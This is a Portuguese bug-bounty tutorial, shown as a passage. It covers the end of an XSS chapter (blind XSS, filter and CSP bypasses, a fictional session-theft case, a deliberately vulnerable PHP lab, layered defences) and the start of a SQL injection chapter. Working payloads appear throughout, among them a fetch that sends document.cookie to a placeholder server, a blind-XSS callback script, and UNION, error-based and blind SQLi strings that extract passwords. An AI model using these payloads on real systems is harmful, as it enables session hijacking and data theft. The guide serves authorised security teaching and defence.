> Bypass é **caso a caso**. Não existe "payload universal de WAF". A receita é: descobrir **o que** o filtro corta (mande pedaços e veja o que sobra na resposta) e então escolher a técnica que contorna *aquela* regra específica.

Nível 5 — Blind XSS (você não vê o disparo)

Às vezes o seu payload é salvo num lugar que **só um funcionário vê depois** — um painel de admin, um sistema de tickets, um CRM interno. Você nunca vê o `alert`. Isso é **blind XSS**, e a única forma de saber se disparou é o payload **te avisar de fora**:

```
<script src="https://SEU-ID.xss.report"></script>
```

Ferramentas como **XSS Hunter** (e o self-hosted xsshunter-express) ou o **Burp Collaborator** te entregam um payload que, ao executar, faz um *callback* pro seu servidor com: URL onde disparou, cookies (se não `HttpOnly`), user-agent e até screenshot do DOM. É assim que você

prova que o seu comentário "explodiu" no painel interno da empresa — provavelmente o XSS mais valioso, porque atinge **operadores privilegiados**.

Nível 6 — Vetores avançados (2026)

Quando o básico não passa, vale conhecer os caminhos modernos. O mais importante hoje:

Prototype pollution → DOM XSS. Em apps JavaScript, se você consegue poluir o `Object.prototype` (injetar uma propriedade que **todo** objeto passa a herdar), dá pra fazer um *gadget* do próprio código client-side cair num sink perigoso (`innerHTML` , `src` de `<script>`) e virar XSS — mesmo sem um `<script>` óbvio. É a ponte entre duas classes e um dos vetores que mais cresce. Tem capítulo dedicado: Prototype Pollution.

> **Outros bypasses pra ter no radar (não precisa decorar — só saiba que existem):** - **CSP bypass:** abusar de **JSONP/AngularJS** num host que o CSP confia, injetar uma `<base>` , ou — se a app reflete a própria policy — **injetar diretiva** que afrouxa o CSP. (Os furos clássicos de CSP estão na seção de Defesa.) - **mXSS (mutation XSS):** HTML que parece "limpo" **muda de significado** quando o navegador re-parseia (ex.: ao cair no `innerHTML`) — fura até sanitizador (o DOMPurify **desatualizado** já teve bypass por mXSS; mantenha a lib atual). - **Charset confusion:** se a resposta não fixa `charset=UTF-8` , dá pra contrabandear script via **UTF-7** (navegadores antigos). - **`data:` / `javascript:` URI:** em redirect/ `window.open` , um `data:text/html;base64,...` executa no contexto certo. - **JS hoisting:** declarar função/variável "içada" pra contornar a ordem que o filtro espera.
>
> Cada técnica ataca uma suposição específica — aprofunde no cheat sheet de XSS da PortSwigger quando bater na parede.

Caso real-fictício: do refletido ao roubo de sessão

> Cenário **fictício, baseado em padrões reais** de bug bounty (anonimizado).

Você testa `app.exemplo.com` . Na busca, manda o marcador `xsstest9173` e acha ele na resposta dentro de um atributo:

```
<input type="text" name="q" value="xsstest9173">
```

Passo 1 — Identificar o contexto. Caiu num `value="..."` . Contexto **atributo**. Preciso fechar a aspa e a tag.

Passo 2 — Confirmar. No Burp Repeater:

```
GET /busca?q="><svg/onload=alert(document.domain)> HTTP/2
Host: app.exemplo.com
```

```
HTTP/2 200 OK
Content-Type: text/html

<input type="text" name="q" value=""><svg/onload=alert(document.domain)>
```

O `<svg>` escapou do atributo e o `onload` dispara. **Reflected XSS confirmado.**

O que a tela mostraria: o navegador abrindo o popup com `app.exemplo.com` — prova de que o script roda **na origem do alvo**, não numa página falsa.

Passo 3 — Mostrar impacto real. Em vez do `alert`, um payload que **exfiltra a sessão** (se o cookie não for `HttpOnly`):

```
"><svg/onload="fetch('https://SEU-SERVIDOR/c?'+document.cookie)">
```

Esse `fetch` manda o `document.cookie` da vítima pro seu servidor. Você monta a PoC (Proof of Concept — a prova reproduzível de que o bug existe) com a URL maliciosa (`/busca?q=...`), envia pra **sua própria conta de teste**, e demonstra o cookie chegando no seu log. **Nunca** mire numa vítima real — a prova é o mecanismo, não a pessoa.

Passo 4 — Report. Título: `[Reflected XSS] Execução de JS via parâmetro q na busca (escape de contexto de atributo)`. Resumo focado no negócio: "*qualquer usuário que abra um link manipulado executa JS no contexto de app.exemplo.com, permitindo roubo de sessão e ações em nome da vítima*". Inclua: URL da PoC, request/response do Burp, print do popup e (se demonstrou) o cookie chegando no seu servidor. Severidade conforme impacto e interação exigida — veja como estruturar isso em Como escrever um report que paga.

> **O encaixe que vale ouro: XSS como "meio de obtenção" pra fechar um ATO.** Lembra do capítulo de Broken Access Control, onde a app autenticava só pelo **JWT** e a gente conseguia ler dados de outra conta trocando o token — mas o triager respondia "*e como você obteria o token de outra pessoa na vida real?*"? O **stored XSS no mesmo host** é a resposta. Se o seu script roda no contexto de `app.exemplo.com` e o token não é `HttpOnly`, ele exfiltra o JWT da vítima; com esse token você reproduz o IDOR/Account Takeover **de ponta a ponta**. É a diferença entre um IDOR teórico (impacto fraco) e um **ATO comprovado** (impacto alto). Sempre que achar XSS, pergunte: "*o que eu consigo roubar com isso que destrava outra falha?*".

Mão na massa: monte um lab e capture flags reais

Teoria sem dedo no teclado não fixa. Comece com um **lab local** de 30 segundos — um `lab-xss.php` que reflete o input **sem** tratar:

```
<?php
// lab-xss.php — VULNERÁVEL DE PROPÓSITO (rode só local)
if (!empty($_GET['q'])) {
    echo "Você pesquisou por: " . $_GET['q'];   // <- sem encoding = XSS
}
?>
<form><input name="q" placeholder="Pesquisar..."><button>Buscar</button></form>
```

Abra `http://localhost:8888/lab-xss.php?q=<script>alert(document.domain)</script>` → o popup confirma. Agora **conserte** trocando a linha por `htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8')` e veja o payload virar texto. Esse ciclo **quebra → conserta** é o que fixa de verdade.

Depois, vá pras **máquinas de XSS da HackingClub** (ou PortSwigger Academy / DVWA / TryHackMe — lista logo abaixo). Lá os três tipos aparecem num alvo real e autorizado:

- **Reflected:** um formulário de contato reflete `?name=` na resposta → `?name=<script>alert(document.domain)</script>` dispara e libera a flag (`CS{XSS_R3fl3ct3d_34sy}`).
- **Stored:** um comment box salva e re-exibe → o `<script>` só dispara **ao recarregar** (veio do backend), confirmando o Stored (`CS{XSS_St0r3d_l1k3_4_b0ss}`).
- **DOM-based:** uma busca escreve em `innerHTML` via `URLSearchParams` sem sanitizar → `?search=<img src=x onerror=alert(document.domain)>` dispara **sem o payload tocar o servidor** (`CS{XSS_D0M_B4s3d}`).

Defesa em camadas

XSS não morre com **um** controle. A correção real combina várias camadas — e a principal é uma só: **trate dado como dado, nunca como código.**

1. Output encoding por contexto (a defesa nº 1)

O OWASP XSS Prevention Cheat Sheet é explícito: **escape na saída, conforme o contexto**. No corpo HTML, faça **HTML entity encoding**:

Caractere	Vira
`&`	`&`
`<`	`<`
`>`	`>`
`"`	`"`
`'`	`'`

```
// CORRETO — entidade HTML, o navegador mostra como texto e não executa
echo "<p>Você procurou por: " . htmlspecialchars($termo, ENT_QUOTES, 'UTF-8') . "</p>";
```

Encoding de HTML não basta dentro de `<script>` ou de atributo de URL. Cada contexto tem o seu encoding: atributo → `&#xHH;` ; dentro de JS → `\uXXXX` ; URL → percent-encoding. Usar o encoding **errado** abre brecha (o próprio OWASP avisa: "usar o método de encoding errado pode introduzir fraquezas").

> **A defesa que parece certa mas falha: `htmlspecialchars` sem `ENT_QUOTES`.** Os dois argumentos extras acima não são enfeite. Até o **PHP 8.0**, o default de `htmlspecialchars($x)` era `ENT_COMPAT` — escapa a aspa **dupla** (`"`) mas **deixa a aspa simples (`'`) passar** (só virou `ENT_QUOTES` por padrão no PHP 8.1). Então o dev que "escapou tudo" com `htmlspecialchars($q)` num atributo de **aspas simples** continua furado: `php // VULNERÁVEL — o default antigo não escapa a aspa simples echo "<input value='" . htmlspecialchars($q) . "'>";` Entrada `' autofocus onfocus=alert(document.domain) x='` → vira `<input value='' autofocus onfocus=alert(document.domain) x=''>` e dispara. **O correto:** sempre `htmlspecialchars($q, ENT_QUOTES, 'UTF-8')` (ou `ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5`) **com charset explícito** — e, de preferência, aspas duplas no atributo. A regra: encoding só defende se cobrir **o delimitador do seu contexto**. (manual do PHP)

2. Use os "sinks seguros" no front (contra DOM XSS)

A regra mais fundamental do DOM XSS Cheat Sheet: popular o DOM com `textContent` , **não** `innerHTML` .

```
// ERRADO — innerHTML interpreta HTML, executa script
el.innerHTML = 'Olá, ' + nome;

// CORRETO — textContent trata como TEXTO, impossível executar código
el.textContent = 'Olá, ' + nome;
```

Por que funciona: `innerHTML` faz o navegador **parsear o conteúdo como HTML** (e disparar handlers); `textContent` só escreve **texto** — o navegador nunca interpreta como markup. Mesma lógica vale pra fugir de `eval` , `document.write` e `setTimeout(string)` .

3. Precisa aceitar HTML do usuário? Sanitize com DOMPurify

> **WYSIWYG** (What You See Is What You Get): editor visual que gera HTML rico. Aumenta a superfície de XSS se a sanitização for fraca.

Se o produto exige HTML rico (um editor WYSIWYG, por exemplo), não dá pra escapar tudo. Aí use uma lib de sanitização madura — **nunca** regex caseira:

```
import DOMPurify from 'dompurify';
// allowlist: só deixa passar o que você explicitamente permite
```

```
el.innerHTML = DOMPurify.sanitize(htmlDoUsuario, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  ALLOWED_ATTR: ['href']
}); // remove <script>, onerror, javascript: etc.
```

Por que DOMPurify e **não** regex caseira: o OWASP recomenda sanitização por allowlist (libera só o que você quer) e **nunca denylist** ("removo `<script>`"). Atacante acha bypass de denylist mais rápido do que você corrige — é a mesma blacklist que furamos lá no Nível 4. O DOMPurify é mantido pela cure53, entende parsing real de HTML/SVG/MathML e já se ajusta a *mutation XSS* (mXSS) que regex jamais pegaria.

4. Confie no auto-escape do framework (mas conheça os furos)

React, Angular, Vue e templates como Twig/Jinja **escapam por padrão**. O perigo está nas válvulas de escape: `dangerouslySetInnerHTML` (React), `[innerHTML]` (Angular), `v-html` (Vue) — usar isso com dado do usuário **desliga** a proteção.

5. CSP como rede de segurança (defesa em profundidade)

A CSP é um header que diz ao navegador **de onde** script pode rodar. Mesmo que um XSS passe, o CSP pode **impedir a execução**. Use **nonce** (valor aleatório por requisição):

```
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6'; object-src 'none'; base-uri
'none'
```

```
<!-- só executa o script que tiver o nonce certo daquele page load -->
<script nonce="a1b2c3d4e5f6">/* código confiável */</script>
```

O `<script>` injetado pelo atacante **não tem o nonce** (que é aleatório e imprevisível a cada carga) → o navegador recusa. Regras de ouro do CSP: o nonce tem que ser **gerado de forma segura a cada page load e não ser adivinhável**; e **nunca** use `'unsafe-inline'` no `script-src` (isso anula a proteção). O próprio OWASP frisa: CSP é **defesa em profundidade**, não a defesa primária — encoding continua sendo o pilar.

> **CSP não é à prova de balas — e o caçador precisa saber por quê.** Mesmo um nonce bem-feito tem furos clássicos (todos com lab na PortSwigger): - **`'unsafe-inline'` no `script-src`** → CSP basicamente desligado, qualquer inline roda. - **Domínio confiável que hospeda JSONP** → se o CSP libera um host (ex.: um CDN do Google) que tem endpoint **JSONP** com `callback=`, você injeta `<script src="https://host-confiavel/...jsonp?callback=alert(document.domain)">` e o código roda **dentro** da policy. Por isso `script-src` deve listar só hosts sem JSONP. - **`base-uri` ausente** → o atacante injeta uma tag `<base href="//servidor-dele">` e os scripts de **caminho relativo** da página passam a carregar do servidor dele. Sempre defina `base-uri 'none'` (ou `'self'`). - **Dangling markup** → quando não dá pra executar JS, dá pra **exfiltrar** conteúdo da página (um token CSRF, por exemplo) com markup "pendurado" tipo `<img src='//`

`servidor-dele?` que "engole" o HTML seguinte até a próxima aspa. A defesa contra isso é `base-uri` definido e não depender só do CSP.

Resumindo: CSP **bloqueia** inline sem nonce e fontes não listadas, mas **não bloqueia** abuso de host confiável (JSONP), `base` injection nem exfiltração por dangling markup. É camada extra, não a defesa.

6. Cookies blindados

```
Set-Cookie: sessao=...; HttpOnly; Secure; SameSite=Lax
```

`HttpOnly` impede o JS de ler o cookie (mata o roubo via `document.cookie`); `SameSite` corta o vetor de CSRF que o XSS poderia encadear; `Secure` exige HTTPS.

O que NÃO basta: filtro de blacklist ("removo a palavra script") — *case mixing* e `fromCharCode` furam fácil; escapar só `<` e `>` e esquecer aspas (mata o contexto corpo, deixa o de atributo); confiar **só** no WAF; confiar **só** no CSP sem encoding; e **"validar/limitar o input" como defesa principal** — o mesmo dado é seguro num contexto e perigoso em outro, e dado legítimo tem caractere especial (o nome `O'Brien` tem aspa): a defesa primária de XSS é **encoding na saída**, não validação na entrada (validar input é reforço, diz o OWASP). Defesa de XSS é **camada sobre camada**.

Não conte com o header `X-XSS-Protection` — ele está DEPRECADO. Ele controlava o "XSS Auditor" do navegador, que **já foi removido** dos navegadores modernos (o Chrome removeu na **v78**, em 2019; o Edge aposentou ao migrar pro Chromium; o Firefox **nunca implementou**). A MDN é explícita: use **Content-Security-Policy no lugar**, porque o próprio Auditor era **abusável** — como o atacante controla a request, dava pra enganá-lo a **bloquear um `<script>` legítimo** da página (neutralizando uma checagem de segurança e empurrando a app pra um caminho inseguro), além de servir de oráculo pra vazar se uma string existe na página. Em certos casos ele **criava** brechas em sites que seriam seguros. Se você vir um programa ostentando `X-XSS-Protection: 1; mode=block` como "proteção contra XSS", isso **não é defesa real** em 2026 — a defesa é encoding + CSP. (O OWASP Secure Headers Project recomenda enviar no máximo `X-XSS-Protection: 0`, justamente pra desligar o comportamento legado.)

Quer essas "defesas que não defendem" dissecadas? Tem um post dedicado só a isso: proteções de XSS que parecem seguras mas falham (com o bypass de cada uma) e o que **realmente** funciona — com foco no que costuma sair de código gerado por IA: **XSS: proteções, falhas e o que realmente funciona**.

Ferramentas + labs legais

- **Burp Suite** — Repeater (testar contexto), Intruder (fuzzar payloads), e a extensão **Burp Collaborator** pra blind XSS.
- **XSS Hunter / xsshunter-express** — payloads de blind XSS com callback e screenshot.
- **DOM Invader** (vem no Burp) — automatiza a caça de source→sink de DOM XSS.
- **qsreplace / gau / httpx** — pipeline de descoberta de refletidos (ver capítulo de Recon).
- **Labs autorizados:** PortSwigger Web Security Academy — XSS (de longe a melhor fonte gratuita, com labs por contexto), Intigriti XSS Challenges, DVWA, TryHackMe, HackTheBox.

Checklist do caçador

- [ ] Mandei um **marcador único** (`xsstest9173`) e localizei **onde** ele reflete.
- [ ] Identifiquei o **contexto** (corpo HTML / atributo / dentro de `<script>` / URL-href).
- [ ] Escolhi o payload que **escapa daquele contexto** (não chutei payload genérico).
- [ ] Testei **reflected** (URL/form), **stored** (perfil, comentário, upload, e-mail) e **DOM** (sinks no JS).
- [ ] Quando filtrado, tentei **bypasses** (event handler, case, encoding/duplo, `fromCharCode` , `eval(atob)`).
- [ ] Em painéis internos/tickets, plantei **blind XSS** com callback.
- [ ] Usei `alert(document.domain)` (ou `print()` em iframe) pra provar a **origem**.
- [ ] Demonstrei **impacto real** (roubo de cookie / ação em nome / keylogger) sem mirar vítima real.
- [ ] Conferi que XSS **está no escopo** do programa.

Pegadinhas / o que NÃO funciona

> **SSTI / CSTI**: Server-Side / Client-Side Template Injection — injeção no motor de templates (servidor/cliente). Resultado parecido com XSS, mecanismo diferente.

- `alert` **não dispara, mas o código executa:** pode ser iframe cross-origin (Chrome 92+ bloqueia `alert`). Troque por `print()` ou `console.log` / `fetch` pra confirmar.
- **HTML Injection ≠ XSS:** se só o `<b>` renderiza mas `<script>` /handlers são escapados, você tem HTML Injection (impacto menor), não XSS. Reporte como o que é.
- `{{7*7}}` **virando** `49` **não é XSS:** isso é **template injection** (SSTI/CSTI), outra classe. E se a app **quebra** e despeja dados de outros clientes, é **exposição de dados sensíveis** — classifique certo.
- **Cookie** `HttpOnly` **não anula o bug:** XSS continua crítico (ações em nome da vítima, keylogger).

- **"Funciona no meu navegador":** auto-XSS (você cola payload no seu próprio DevTools/console) **não é vulnerabilidade** — não há vetor pra atingir outra pessoa.
- `X-XSS-Protection` **não protege mais nada:** o header está **deprecado** e o XSS Auditor que ele controlava foi **removido** dos navegadores. Ver ele presente num alvo **não** significa que o XSS está mitigado — ignore e teste normalmente; ver ele ausente **não** é, por si só, uma vulnerabilidade reportável.

O que você precisa lembrar

- XSS = a aplicação trata **a sua entrada como código** no navegador da vítima.
- **HTML Injection** é o degrau anterior: se interpreta HTML, o XSS está logo ali.
- Três tipos: **reflected** (espelho, precisa de link), **stored** (mural, vem sozinho), **DOM** (o JS do front se atrapalha).
- O **payload muda com o contexto** — leia onde a entrada caiu antes de escolher.
- Defesa = **output encoding por contexto** + `textContent`/DOMPurify + CSP com nonce + cookies `HttpOnly` / `SameSite`. Camadas, não bala de prata.

> **Dica de ouro:** não decore payloads — **leia o contexto**. Mande um marcador único, ache onde ele reflete (corpo? atributo? script?) e **como** (cru ou escapado), e só então monte o payload que escapa *daquele* lugar. É a diferença entre "colei um `<script>` e não funcionou" e **provar** XSS em qualquer aplicação.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Rodar payload de XSS contra usuários ou sistemas de terceiros sem autorização é crime e antiético. Na PoC, **mire sempre a sua própria conta de teste**: demonstre o mecanismo (o cookie chegando no *seu* servidor), nunca exfiltre dado de gente real. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP A03:2021 — Injection
- OWASP — Cross Site Scripting Prevention Cheat Sheet
- OWASP — DOM-based XSS Prevention Cheat Sheet
- PortSwigger — Cross-site scripting, XSS cheat sheet (2026) e Content Security Policy
- MDN — X-XSS-Protection (deprecado; use CSP) · OWASP Secure Headers Project
- FIRST.org — CVSS v4.0 Examples (inclui reflected/stored XSS)
- Assetnote — Finding XSS in a million websites (cPanel CVE-2023-29489)
- DOMPurify · XSS Hunter (self-hosted)
- reddelexc/hackerone-reports — Top XSS reports (centenas de reports reais pra estudar)

SQL Injection: extraindo o banco da teoria à prática

Uma aspa que derruba o banco inteiro

Você está testando um campo de busca em `app.exemplo.com`. Digita um produto, vem a lista. Aí, por hábito de quem mexe com segurança, você joga uma **aspa simples** (`'`) no final do termo e manda. A página devolve um erro feio:

```
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version...
```

Esse erro é o som de uma porta destrancando. Significa que o texto que **você** digitou foi parar **dentro de uma consulta SQL** sem o devido tratamento — e a partir daí, com os payloads certos, dá pra ler tabela de usuários, hash de senha, dados de cartão, a versão do banco e, em casos extremos, executar comando no servidor. Isso é **SQL Injection (SQLi)**.

> SQL Injection é um clássico que recompensa quem entende a fundo. Aqui a gente cobre o tema **de forma didática e autossuficiente**: do "por que acontece" até blind por tempo, diferenças entre MySQL/PostgreSQL/MSSQL, automação com `sqlmap` e a defesa que mata a classe inteira. Se for seu primeiro contato com o tema, dá uma olhada antes em Fundamentos de Web Hacking e Recon & Discovery — as ferramentas básicas são apresentadas lá.

SQLi faz parte de **Injection**, a categoria A03:2021 do OWASP Top 10. É uma das falhas mais antigas da web e, mesmo assim, **continua aparecendo** — principalmente em software legado, painéis administrativos e produtos prontos desatualizados.

O que é SQL Injection?

Para entender SQLi, primeiro entenda o que é uma query. A aplicação monta um comando em **SQL** (a linguagem do banco) para pedir dados. Um exemplo inocente:

```
SELECT * FROM produtos WHERE categoria = 'presentes'
```

O problema nasce quando o desenvolvedor **gruda** (concatena) o que o usuário digitou direto no meio do comando, como se fosse texto:

```
// VULNERÁVEL — o input do usuário vira parte do comando SQL
$sql = "SELECT * FROM produtos WHERE categoria = '" . $_GET['categoria'] . "'";
```

Se você manda `categoria=presentes`, vira a query de cima. Mas se você manda `categoria=presentes'`, a aspa que você inseriu **fecha** a string antes da hora e o resto vira

sintaxe SQL quebrada — daí o erro. E se você for esperto, em vez de quebrar, você **completa** o comando do seu jeito.

> **Analogia:** imagine um formulário de papel onde o atendente lê o que você escreveu e digita no sistema **sem pensar**. Você escreve no campo "Nome": "*João. E também me transfira todo o saldo da conta 4815.*" Um atendente atento ignora a segunda frase — não é um comando, é parte do nome. Um atendente burro **executa** as duas. O banco de dados vulnerável é o atendente burro: ele não distingue **o que é dado** (seu nome) **do que é instrução** (o comando). SQLi explora exatamente essa confusão entre **código e dado**.

A causa raiz é **sempre a mesma**: a aplicação trata entrada do usuário como **código** em vez de **dado**. Guarde essa frase — ela também é a chave da defesa lá no final.

Por que isso importa (e quanto paga)

SQLi é alto impacto por natureza, porque o banco é onde mora o que vale ouro:

- **Vazamento em massa:** ler tabelas inteiras de usuários, senhas (hashes), e-mails, CPF, dados de pagamento.
- **Bypass de autenticação:** entrar como `administrator` sem saber a senha.
- **Escrita/destruição:** em alguns contextos, alterar ou apagar dados (`UPDATE` / `DELETE`).
- **RCE:** em SGBDs (Sistemas Gerenciadores de Banco de Dados, ex.: MySQL, PostgreSQL) mal configurados dá pra escalar para execução de comando no SO (ex.: `xp_cmdshell` no MSSQL, escrita de arquivo arbitrário via `INTO OUTFILE` no MySQL — que vira webshell **se** o destino for um diretório executável).

> **CVSS**: escala numérica de 0–10 pra severidade da falha (existem v3.1 e v4.0).

Por isso costuma ser classificado como **Alto/Crítico** (veja Severidade, Impacto e Triagem pra calibrar o CVSS). Em programas reais, um SQLi confirmado paga tipicamente de **R$1.000** (injeção em alvo de baixo valor, só leitura de metadados) a **R$20.000+** (dump de PII — dados pessoais como CPF, e-mail, cartão; mais no Glossário — em escala ou RCE). Um SQLi UNION-based num produto exposto — tipo um painel de inventário desatualizado — fechando em algumas milhares de reais é um cenário bem comum.

> Antes de comemorar: **não rode `sqlmap` agressivo nem dê `DROP` / `DELETE` num alvo de produção.** SQLi mal conduzido corrompe dados de gente de verdade. Voltamos a isso na nota ética.

Como funciona por trás

Vamos visualizar o caminho do payload. A requisição parte do navegador:

```
GET /produtos?categoria=presentes' HTTP/2
Host: app.exemplo.com
```

No backend, o código vulnerável concatena seu input:

```
// O ' que você mandou fecha a string e quebra a sintaxe
$sql = "SELECT * FROM produtos WHERE categoria = 'presentes''";
```

O banco recebe um comando com aspa sobrando, não consegue parsear e devolve erro — que a aplicação, em modo debug, vaza na resposta. **Esse erro confirma que seu input chegou cru na query.** A partir daqui o jogo é: em vez de **quebrar** o comando, **moldá-lo** para que ele faça o que você quiser e te devolva os dados.

Os dois "tijolos" que você vai usar o tempo todo:

1. **Comentário** (`--` , `#` , `/* */`): tudo depois dele é ignorado pelo banco. Serve pra **descartar** o resto da query original (aquela aspa que sobrava, um `AND status=1` chato etc.).
2. **Operadores lógicos /** `UNION` : pra injetar sua própria condição (`OR 1=1`) ou colar um segundo `SELECT` (UNION) que traz seus dados.

Exemplo clássico — bypass de filtro pra listar tudo:

```
categoria=presentes' OR 1=1--
```

A query final fica `... WHERE categoria = 'presentes' OR 1=1--'`. Como `1=1` é sempre verdadeiro, **todas** as linhas voltam, e o `--` comenta a aspa órfã. (Fonte: PortSwigger — SQL injection.)

Tipos e variações

Existem três grandes famílias de SQLi, definidas por **como o dado volta pra você**:

Família	Como o dado volta	Subtipos
In-band	Na **própria resposta** HTTP	**UNION-based** (dado nos resultados), **Error-based** (dado dentro de mensagens de erro)
Blind (inferencial)	**Não volta** — você infere bit a bit	**Boolean-based** (resposta muda T/F), **Time-based** (tempo de resposta muda)

Família	Como o dado volta	Subtipos
Out-of-band (OAST)	Por um **canal secundário** (ex.: DNS)	Quando não há resposta nem timing confiável; força o banco a fazer uma requisição externa

- **In-band** é o paraíso: você manda o payload e o dado aparece na tela ou no erro. Mais rápido de explorar.
- **Blind** é quando a aplicação **não mostra** nem dado nem erro, mas o **comportamento** muda conforme sua condição. Mais lento (extrai caractere por caractere), mas igualmente explorável.
- **Out-of-band** é o último recurso: nenhuma diferença visível na resposta, então você manda o banco "ligar pra fora" (uma consulta DNS para um domínio seu) carregando o dado no subdomínio.

Vamos do mais simples (UNION) ao mais sutil (time-based), exatamente nessa ordem.

Recon — como encontrar

Antes de injetar, você precisa **mapear onde tem query** (já vimos a base de recon no capítulo Recon & Discovery). Onde SQLi costuma morar:

- **Qualquer parâmetro que filtra/busca dado:** `?id=`, `?categoria=`, `?busca=`, `?ordem=`, `?pagina=`.
- **Corpo de POST:** formulários de login, busca avançada, filtros de relatório.
- **Headers que viram query:** `Cookie`, `X-Forwarded-For`, `User-Agent` (apps que logam isso no banco).
- **Endpoints de produtos prontos desatualizados:** painéis tipo GLPI, sistemas de helpdesk, ERPs legados — onde CVEs de SQLi conhecidos vivem (já falamos de caça a 1-day em capítulo de Security Misconfiguration).

Sinais de que um parâmetro **pode** ser injetável:

```
# Mande uma aspa e observe:
?id=1'        -> erro de SQL, status 500, ou comportamento estranho = candidato forte
?id=1''       -> volta ao normal (aspas balanceadas) = mais um indício
```

Pra encontrar parâmetros escondidos em arquivos JS e histórico, use as ferramentas de coleta de URLs (apresentadas no Recon):

```
# gau coleta URLs históricas; grep filtra as que têm parâmetro = candidatas a teste
echo "app.exemplo.com" | gau | grep -E '\?|&' | grep -iE 'id=|cat=|user=|order=|
search=' | sort -u
```

> **Regra de ouro do recon de SQLi:** parâmetros **numéricos** (`?id=1`) e os de **ordenação** (`?order=preco`) são os mais férteis — o de ordenação porque vai pra dentro

> de `ORDER BY`, onde nem sempre dá pra usar query parametrizada e o dev tende a concatenar.

Detecção — confirmando que existe injeção

Três técnicas, em ordem de confiança. Todas você faz no **Burp Repeater** (apresentado nos Fundamentos), mandando a mesma request e variando só o payload.

1. Aspa simples (quebra de sintaxe)

```
?id=1'
```

Erro de SQL, 500, ou a página muda? Candidato. Confirme balanceando: `?id=1''` deve voltar ao normal.

2. Lógica booleana (`AND 1=1` vs `AND 1=2`)

Funciona mesmo sem erro visível. A ideia: uma condição **verdadeira** mantém a resposta; uma **falsa** muda.

```
?id=1 AND 1=1     -> página NORMAL (condição verdadeira)
?id=1 AND 1=2     -> página DIFERENTE/vazia (condição falsa)
```

Se o conteúdo muda entre as duas, sua entrada **está sendo avaliada como SQL**. Em parâmetro string, lembre da aspa: `?categoria=presentes' AND '1'='1` vs `...' AND '1'='2`.

3. Time-based (atraso proposital)

Quando não há diferença visível nenhuma, force o banco a **dormir**. Se a resposta demorar o tempo pedido, é injeção (técnica detalhada na seção de blind).

```
?id=1' AND SLEEP(5)-- -     (MySQL)
```

> `1=1` e `1=2` por si só não confirmam nada — o ouro está na **diferença** entre as duas respostas. Se as duas são idênticas, aquele ponto provavelmente **não** é injetável (ou está sanitizado).

Exploração passo a passo

Nível 1 — UNION-based (o caminho mais direto)

`UNION` cola o resultado de um **segundo** `SELECT` ao da query original. Para funcionar, duas regras de ferro:

1. Os dois `SELECT` precisam ter o **mesmo número de colunas**.
2. Os **tipos** das colunas precisam ser compatíveis na posição onde você quer ler o dado (texto vai em coluna de texto).

Passo A — descobrir o número de colunas. Dois métodos; use o que o alvo aceitar.

Método `ORDER BY` (incrementa até dar erro):

```
?id=1' ORDER BY 1-- -    -> ok
?id=1' ORDER BY 2-- -    -> ok
?id=1' ORDER BY 3-- -    -> ok
?id=1' ORDER BY 4-- -    -> ERRO  => são 3 colunas
```

`ORDER BY N` ordena pela N-ésima coluna; quando N passa do número de colunas, o banco erra. O último N que funcionou é o total.

Método `UNION SELECT NULL` (vai somando NULLs até parar de errar):

```
?id=1' UNION SELECT NULL-- -                -> erro
?id=1' UNION SELECT NULL,NULL-- -           -> erro
?id=1' UNION SELECT NULL,NULL,NULL-- -      -> ok  => 3 colunas
```

Usamos `NULL` porque ele é compatível com qualquer tipo — evita erro de tipo enquanto você só conta colunas.

Passo B — achar uma coluna que "imprime" texto. Troque os NULLs por marcadores e veja qual aparece na tela:

```
?id=1' UNION SELECT 'a',NULL,NULL-- -
?id=1' UNION SELECT NULL,'a',NULL-- -    -> se aparece 'a' na página, a 2ª coluna é
refletida
```

Passo C — extrair os dados. Agora você sabe quantas colunas e qual é refletida. Puxe o que interessa. Versão e usuário do banco primeiro (reconhecimento do SGBD):

```
?id=1' UNION SELECT NULL,@@version,NULL-- -        (MySQL/MSSQL)
```

Depois, dados reais — concatenando colunas pra caber numa coluna só:

```
?id=1' UNION SELECT NULL,CONCAT(usuario,':',senha),NULL FROM users-- -    (MySQL)
```

> Para listar tabelas e colunas que você não conhece, consulte o catálogo do banco: `information_schema.tables` e `information_schema.columns` (MySQL/PostgreSQL/MSSQL). Ex.: `UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -`.

Nível 2 — Error-based (dado dentro do erro)

Se a aplicação **vaza mensagens de erro** mas não reflete resultados de UNION, force o dado a aparecer **dentro do erro**. A técnica exata **depende do SGBD** — é por isso que o fingerprint (identificar qual banco é, pela versão/sintaxe) vem antes.

No **PostgreSQL** (e SQL padrão), a ideia geral do PortSwigger é provocar um erro de conversão de tipo que cospe o valor:

```
' AND CAST((SELECT password FROM users LIMIT 1) AS int)-- -    (PostgreSQL)
```

Como a senha (texto) não converte pra inteiro, o banco erra com `invalid input syntax for type integer: "5f4dcc3b..."` — e o **hash aparece no erro**.

> Cuidado: isso **não** funciona no MySQL/MariaDB. Lá, `CAST('texto' AS SIGNED)` não dá erro — ele silenciosamente vira `0`. Como o nosso alvo de exemplo era MariaDB, o vetor error-based clássico ali são as **funções XML** `extractvalue()` / `updatexml()`, que cospem o resultado dentro de uma mensagem `XPATH syntax error`:

```
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1)))-- -    (MySQL/
MariaDB)
```

O `0x7e` é o caractere `~`; o banco tenta interpretar `~5f4dcc3b...` como XPath, falha, e devolve `XPATH syntax error: '~5f4dcc3b...'` — com o hash no erro. (Limite ~32 caracteres por consulta; pagine com `SUBSTRING` se precisar de mais.)

Nível 3 — Blind boolean (inferência caractere a caractere)

Sem dado e sem erro na tela, mas a resposta **muda** entre verdadeiro e falso. Você transforma "ler dado" em uma sequência de perguntas **sim/não**. A ferramenta-chave é o `SUBSTRING` (pega 1 caractere por vez):

```
' AND SUBSTRING((SELECT senha FROM users WHERE usuario='administrator'),1,1)='a'-- -
' AND SUBSTRING((SELECT senha FROM users WHERE usuario='administrator'),1,1)='b'-- -
...
```

